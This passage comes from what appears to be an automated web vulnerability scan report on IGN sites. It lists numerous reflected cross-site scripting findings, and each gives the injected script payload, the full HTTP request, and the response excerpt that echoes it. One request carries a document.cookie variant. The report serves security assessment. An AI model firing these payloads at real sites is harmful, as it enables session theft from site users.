<title>IGN Comics: Review
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://comics.ign.com/index/reviews.html?1fd10"><script>alert(1)</script>e21466306a4=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.127. http://comics.ign.com/index/toys.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://comics.ign.com
Path:	/index/toys.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cbf36"><script>alert(1)</script>8946fdfb18e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/toys.html?cbf36"><script>alert(1)</script>8946fdfb18e=1 HTTP/1.1
Host: comics.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:13:30 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-24030-2034342565-8;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:13:30 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041210655v-1n-12mc+1297041210655mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 107472

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN Comics: Review
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://comics.ign.com/index/toys.html?cbf36"><script>alert(1)</script>8946fdfb18e=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.128. http://comics.ign.com/index/toys.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://comics.ign.com
Path:	/index/toys.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 764dc"-alert(1)-"0f054e9b56a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/toys.html?764dc"-alert(1)-"0f054e9b56a=1 HTTP/1.1
Host: comics.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:13:32 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15003-101757157-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:13:32 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041212696v-1n-12mc+1297041212696mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 107402

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN Comics: Review
...[SNIP]...
ypeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://comics.ign.com/index/toys.html?764dc"-alert(1)-"0f054e9b56a=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.129. http://corp.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://corp.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9b7ed"><script>alert(1)</script>f5dfe5b827b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?9b7ed"><script>alert(1)</script>f5dfe5b827b=1 HTTP/1.1
Host: corp.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:14:05 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-19918-1031545857-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:14:05 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041245432v-1n-12mc+1297041245432mv+0mn+0wwe~0;Path=/;Domain=.ign.com
Content-Length: 41813

<!DOCTYPE html>
<html lang="en"><head>
   <meta http-equiv="content-type" content="text/html; charset=utf-8" />
   <title>IGN Entertainment</title>
   <link rel="stylesheet" href="http://corpmedia.ign.c
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://corp.ign.com/?9b7ed"><script>alert(1)</script>f5dfe5b827b=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.130. http://corp.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://corp.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 64dab"-alert(1)-"8250c170f0f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?64dab"-alert(1)-"8250c170f0f=1 HTTP/1.1
Host: corp.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:14:07 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-23512-754088152-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:14:07 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041247165v-1n-12mc+1297041247165mv+0mn+0wwe~0;Path=/;Domain=.ign.com
Content-Length: 41786

<!DOCTYPE html>
<html lang="en"><head>
   <meta http-equiv="content-type" content="text/html; charset=utf-8" />
   <title>IGN Entertainment</title>
   <link rel="stylesheet" href="http://corpmedia.ign.c
...[SNIP]...
<script>
   if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://corp.ign.com/?64dab"-alert(1)-"8250c170f0f=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.131. http://corp.ign.com/about/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://corp.ign.com
Path:	/about/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3545f"><script>alert(1)</script>64dc66e49d8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /about/?3545f"><script>alert(1)</script>64dc66e49d8=1 HTTP/1.1
Host: corp.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:14:17 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-13272-1058715362-10;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:14:17 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041257624v-1n-12mc+1297041257624mv+0mn+0wwe~0;Path=/;Domain=.ign.com
Content-Length: 11891

<!DOCTYPE html>
<html lang="en"><head>
   <meta http-equiv="content-type" content="text/html; charset=utf-8" />
   <title>About - IGN Entertainment</title>
   <link rel="stylesheet" href="http://corpmed
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://corp.ign.com/about/?3545f"><script>alert(1)</script>64dc66e49d8=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.132. http://corp.ign.com/about/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://corp.ign.com
Path:	/about/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 31f2a"-alert(1)-"9641413a5ee was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /about/?31f2a"-alert(1)-"9641413a5ee=1 HTTP/1.1
Host: corp.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:14:18 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32463-1028516919-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:14:18 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041258856v-1n-12mc+1297041258856mv+0mn+0wwe~0;Path=/;Domain=.ign.com
Content-Length: 11864

<!DOCTYPE html>
<html lang="en"><head>
   <meta http-equiv="content-type" content="text/html; charset=utf-8" />
   <title>About - IGN Entertainment</title>
   <link rel="stylesheet" href="http://corpmed
...[SNIP]...
ript>
   if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://corp.ign.com/about/?31f2a"-alert(1)-"9641413a5ee=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.133. http://corp.ign.com/careers/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://corp.ign.com
Path:	/careers/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 503cb"-alert(1)-"685e224789c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /careers/?503cb"-alert(1)-"685e224789c=1 HTTP/1.1
Host: corp.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:14:38 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-24287-1051492698-9;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:14:38 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041278968v-1n-12mc+1297041278968mv+0mn+0wwe~0;Path=/;Domain=.ign.com
Content-Length: 13539

<!DOCTYPE html>
<html lang="en"><head>
   <meta http-equiv="content-type" content="text/html; charset=utf-8" />
   <title>Careers - IGN Entertainment</title>
   <link rel="stylesheet" href="http://corpm
...[SNIP]...
pt>
   if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://corp.ign.com/careers/?503cb"-alert(1)-"685e224789c=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.134. http://corp.ign.com/careers/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://corp.ign.com
Path:	/careers/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 68bd2"><script>alert(1)</script>5ab56f15f1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /careers/?68bd2"><script>alert(1)</script>5ab56f15f1=1 HTTP/1.1
Host: corp.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:14:37 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-23694-975905572-7;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:14:37 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041277786v-1n-12mc+1297041277786mv+0mn+0wwe~0;Path=/;Domain=.ign.com
Content-Length: 13567

<!DOCTYPE html>
<html lang="en"><head>
   <meta http-equiv="content-type" content="text/html; charset=utf-8" />
   <title>Careers - IGN Entertainment</title>
   <link rel="stylesheet" href="http://corpm
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://corp.ign.com/careers/?68bd2"><script>alert(1)</script>5ab56f15f1=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.135. http://corp.ign.com/contact/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://corp.ign.com
Path:	/contact/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f513d"><script>alert(1)</script>ff5d7b0b388 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /contact/?f513d"><script>alert(1)</script>ff5d7b0b388=1 HTTP/1.1
Host: corp.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:14:32 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-2421-363698782-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:14:32 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041272498v-1n-12mc+1297041272498mv+0mn+0wwe~0;Path=/;Domain=.ign.com
Content-Length: 39236

<!DOCTYPE html>
<html lang="en"><head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Contact - IGN Entertainment</title>
<style>
/*
Copyright (c) 2009, Yahoo! In
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://corp.ign.com/contact/?f513d"><script>alert(1)</script>ff5d7b0b388=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.136. http://corp.ign.com/contact/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://corp.ign.com
Path:	/contact/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9f98d"-alert(1)-"8146d2ee5ef was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /contact/?9f98d"-alert(1)-"8146d2ee5ef=1 HTTP/1.1
Host: corp.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:14:34 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-25644-697037626-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:14:34 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041274241v-1n-12mc+1297041274241mv+0mn+0wwe~0;Path=/;Domain=.ign.com
Content-Length: 39203

<!DOCTYPE html>
<html lang="en"><head>
   <meta http-equiv="content-type" content="text/html; charset=utf-8" />
   <title>Contact - IGN Entertainment</title>
<style>
/*
Copyright (c) 2009, Yahoo! In
...[SNIP]...
pt>
   if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://corp.ign.com/contact/?9f98d"-alert(1)-"8146d2ee5ef=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.137. http://corp.ign.com/feeds.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://corp.ign.com
Path:	/feeds.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 807fa"><script>alert(1)</script>9309c865802 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /feeds.html?807fa"><script>alert(1)</script>9309c865802=1 HTTP/1.1
Host: corp.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:14:51 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-18145-575922217-15;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:14:51 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041291833v-1n-12mc+1297041291833mv+0mn+0wwe~0;Path=/;Domain=.ign.com
Content-Length: 27855

<!DOCTYPE html>
<html lang="en"><head>
   <meta http-equiv="content-type" content="text/html; charset=utf-8" />
   <title>Feeds - IGN Entertainment</title>
   <link rel="stylesheet" href="http://corpmed
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://corp.ign.com/feeds.html?807fa"><script>alert(1)</script>9309c865802=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.138. http://corp.ign.com/feeds.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://corp.ign.com
Path:	/feeds.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e38ca"-alert(1)-"82e5bbb9546 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /feeds.html?e38ca"-alert(1)-"82e5bbb9546=1 HTTP/1.1
Host: corp.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:14:53 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-3558-1410444593-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:14:53 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041293242v-1n-12mc+1297041293242mv+0mn+0wwe~0;Path=/;Domain=.ign.com
Content-Length: 27825

<!DOCTYPE html>
<html lang="en"><head>
   <meta http-equiv="content-type" content="text/html; charset=utf-8" />
   <title>Feeds - IGN Entertainment</title>
   <link rel="stylesheet" href="http://corpmed
...[SNIP]...
>
   if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://corp.ign.com/feeds.html?e38ca"-alert(1)-"82e5bbb9546=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.139. http://corp.ign.com/privacy.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://corp.ign.com
Path:	/privacy.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9105f"><script>alert(1)</script>afaaba52a84 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /privacy.html?9105f"><script>alert(1)</script>afaaba52a84=1 HTTP/1.1
Host: corp.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:14:49 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-12684-1241498032-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:14:49 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041289911v-1n-12mc+1297041289911mv+0mn+0wwe~0;Path=/;Domain=.ign.com
Content-Length: 25988

<!DOCTYPE html>
<html lang="en"><head>
   <meta http-equiv="content-type" content="text/html; charset=utf-8" />
   <title>Privacy Policy - IGN Entertainment</title>
   <link rel="stylesheet" href="http:
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://corp.ign.com/privacy.html?9105f"><script>alert(1)</script>afaaba52a84=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.140. http://corp.ign.com/privacy.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://corp.ign.com
Path:	/privacy.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a8174"-alert(1)-"21ae41754ed was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /privacy.html?a8174"-alert(1)-"21ae41754ed=1 HTTP/1.1
Host: corp.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:14:51 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-12684-535296845-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:14:51 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041291349v-1n-12mc+1297041291349mv+0mn+0wwe~0;Path=/;Domain=.ign.com
Content-Length: 25954

<!DOCTYPE html>
<html lang="en"><head>
   <meta http-equiv="content-type" content="text/html; charset=utf-8" />
   <title>Privacy Policy - IGN Entertainment</title>
   <link rel="stylesheet" href="http:
...[SNIP]...
   if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://corp.ign.com/privacy.html?a8174"-alert(1)-"21ae41754ed=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.141. http://corp.ign.com/properties/ign.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://corp.ign.com
Path:	/properties/ign.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a9015"-alert(1)-"285d6843639 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /properties/ign.html?a9015"-alert(1)-"285d6843639=1 HTTP/1.1
Host: corp.ign.com
Proxy-Connection: keep-alive
Referer: http://corp.ign.com/?64dab%22-alert(document.cookie)-%228250c170f0f=1
X-Requested-With: XMLHttpRequest
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
